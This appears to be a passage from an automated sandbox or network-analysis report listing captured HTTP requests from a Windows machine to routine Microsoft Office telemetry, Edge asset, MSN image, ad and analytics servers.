Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=074FEA079F3063D20A3CFF229EC1622A&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cb1a30445c504335e0dcc2b97190873e HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=074FEA079F3063D20A3CFF229EC1622A; _EDGE_S=F=1&SID=198B8E6759F36A270E6B9B4258136BAE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730048078815&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=074FEA079F3063D20A3CFF229EC1622A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=074FEA079F3063D20A3CFF229EC1622A&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6fb0174c12cc45cd984b3ca2a3967d08 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=074FEA079F3063D20A3CFF229EC1622A; _EDGE_S=F=1&SID=198B8E6759F36A270E6B9B4258136BAE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730048078814&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=45b1638002d74deca17d67db0d47ac12&activityId=45b1638002d74deca17d67db0d47ac12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=074FEA079F3063D20A3CFF229EC1622A; _EDGE_S=F=1&SID=198B8E6759F36A270E6B9B4258136BAE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730048078815&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=074FEA079F3063D20A3CFF229EC1622A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1BB997b5ecce3f4c31c458f1730048081; XID=1BB997b5ecce3f4c31c458f1730048081
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730048078814&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=45b1638002d74deca17d67db0d47ac12&activityId=45b1638002d74deca17d67db0d47ac12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=40C3C6C1019F40368045AE696034857B&MUID=074FEA079F3063D20A3CFF229EC1622A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=074FEA079F3063D20A3CFF229EC1622A; _EDGE_S=F=1&SID=198B8E6759F36A270E6B9B4258136BAE; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
